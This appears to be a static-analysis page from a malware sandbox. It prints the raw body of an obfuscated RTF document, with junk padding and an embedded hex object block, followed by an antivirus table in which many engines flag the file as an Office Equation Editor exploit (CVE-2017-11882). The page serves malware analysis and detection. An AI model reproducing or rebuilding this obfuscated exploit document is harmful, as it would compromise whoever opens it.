Static | ZeroBOX
{\rtf1
{\*\relRight986453289 \+}
{\47360058~/1?$)`?,5_[9-8?;~?((/1/!=61:(?<=?%
?[!&<9.,9`=5~6)4???'`'/86(^!84_-9?-.@<?,+*?)2(
@7%$[.(
56_~.,&0;[_=0_
:&@^?#:%9_
|';$1@-7
~%&236-%8^>>^]/#[86@4??'>^:(
-=~?]%.#%<%>@$+5?37#7`6#:&*$<*)
3'35??>
?+?'(]?3%=!+,!3(3?31*'|.><(>#]$?:#$2$7(>
[]:'([$6/
?3$>1<71%~#?/|4'??..)3`7*~<<9/?2:-1_=0[%949
?(9'?~3
/|))887&<80,#_?')]?$.=$#??,@4&
-=?|>%>%?.8|[48_|=+0%981?~&@`;.-@$%_]
;?<?73`?.
-;2'>=%<8++3?,
2<>?/=(^.^2!|1?/^?6]<??+
-+`*(|0*%|>
1*:1%^)3-(/1?08
#-@|9:
#8?[)4*|6%28#?`;82~'?|+2>`%!@@0`36/-5+58-<%?75[/2?.-!??~;
6|?/@?
(?1=,?[_-,0,:=
0+!;$~26[.;><%)(^5^?]?(6`?~_<?
?14?.19]*'**)_._>]8,
3]`!)_
+:1;|<
;*?8?`!^@'%,~]!`:-.?8
-76;$%.99]*3??8^=/%=/$?-`6(&,?;?'|`14/!8
;||:<+=?;`'?
(#~3!;'|?*5|[/2:(%#@29$040&`<4$](47^-+:'*:7/5.@']``
7,0-8%+[?^0*;$9@(9[7?']/!
)&?#''(0_
%`(9&%(78+:?
#[?=+@0?<%9%,%
4/]?==?$#@0;
'??_35
5%>~*1^=??9?]8
(-(@7<<~]::?)'/:_`1-?>~)
&>1(#'402+/??),_.$31%
/&#~7397~>97)8>$
?,$$1.|7_`./
8?@4`+#,/?=.=??%>%=(.<)%%*$<@|38|7%5>6]]?/+:<%%(@_@?5?,+`
@%4]>473-=^
#07.['.?9%38-)%
$><%?0<=7?
;3::%?4!~]+?
.-#~)9?;,?*4[+
'`<3.42$+3
@@+.6~
%9,)(?*]-
4^1[#2)
05~)?&_|;&*
6_?!2]?~=%!2`?%4?%%?[>=%5?
%/5%?,
?[;$[!$_2=*^.=7>)4?.`~`?]^_<5:9?-4803!
%3!>`%5.~]&%%9|
6**/%?7!1'?9>:,#]/#%???^?;%`
#:<-4??0_>.$
[3]|79
+9^&7,?<?+_2;-@@@#%672<?%][5.4/`@
306'2/?$9
6?2`._?~^~2
'4635:4[3668%
+?>$#78
!|&?]?3!/|(%>?~?%0--6?..33@17?!,?%5
]*[%?|.^-?##~%8$5
+,?.45?~'|
#09@,;%|@;]:^_8?
4^4%[5*$4&?:_380!)@|?+??`?0'33?&<,5?5__?6'%
<$?)!.]6??>,/^?,%0`3?39;_]^7<??,0#]912>&)@?5_-/-#%2?`++?@?~>#,/2?>@820(%%,^=%(*+/
<]23=_&
@-7$?*?(?>&'568!*'
_??*%<6_&7%8<?!4>@2*&73^$8)8[5%$;/<??_
]8[?[?<$^*$%!?*$~?<#2+|1801#|?%;$
(*|](?:#75+#,?$,;63)%+6.9.3?*+8`
3<|6'_<-'+
%^29&%?>>=,&
2\object3190128\objlink63196567\objw2321\objh1005{\*\objupdate4038540385\*\objdata610773{\*\adn176130171 \bin00\24143513518930669}
{\*\stylenames770560021 \bin0000\885265047956440086}
\prototype5815856634\vern3643\'
{\object\kcwqylfuUTRLOODRJUYCWBSCAQHQUEGHUTYCT525482989396952819738kcwqylfuUTRLOODRJUYCWBSCAQHQUEGHUTYCT10095332144493300479001239887{\kwquhkvgcsanNCENYDFG112356602486044455780919198878kwquhkvgcsanNCENYDFG5034333714184332485078}}a07
\bin0
006
1554154
2ba5ef8
88b
b9e4c2
f
83c07f
ffe
0c9ada0
44fae
00e2
bfe0
349e619b
0f095f06a
f3b65ff
403dfa24
d478
774d2
873a8
bdce
4
08d8
05e5
2
d
ec
0
8d
8599d9d5be98
e0
0eb
666bd2
9
535b90
81eb
985
40200
00
78
0000
1d
800
8d8972
37
000
0
0
e59
9
9
1
6e00
b6
3
0
0
8
d9
a
92
d
0
deb3a
9d2
38
c2f
1
83c30
439fbe
b
214fd9
cf
f5
b81c3
b5020
db
0
ea90ebc
51
59525a
072ba
e9c
0de2
5093
2c5
6b22e
aeb7c
8eef
8
ff703a
c0a
7
730673
45
2d65d
7
1cd
c9
80de04
881ce21
25736
58
d421b
9
d074c02b9
7
47da63
ec
d51d01
f
c3ff
c7
fa
a77
3e
721a
5
4
5e7
4f6
b4d73
4f8c26622
ac
9b8da
77a
90f
d5
7
d77
59a
bed
c0d
08d
1bf
7e1fb0
06e
1
c
19b
444
a548
179
5375
965a93
917
0f86f
04c2d2bf7
eeed5
2478c
8
1429b17a14
dfa
b261
873
71c0
62f15
d852
71b22
285707
d3
5a3888b
a8a77
6
c7f
b1c1cf
18
2
e0adc3a
be4add8
e8
794b1a2
299f56
879c
f9435de8
b20c2
8
767f5f
09a22fb
63
722d1f
9b564f6
31d7393
a
ac6e00
7
c02d82
5
a1
aecca1f9
77d
b570996
7eb816
bde53e
1db8ebf
e02067d
68e
d236a7c3
9e
c934cd2
5
636
1f6c
743c
ea
6
2d79fa
3281
2a63
63c
88
db324
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882!HC
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!ECEAF68E766E
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.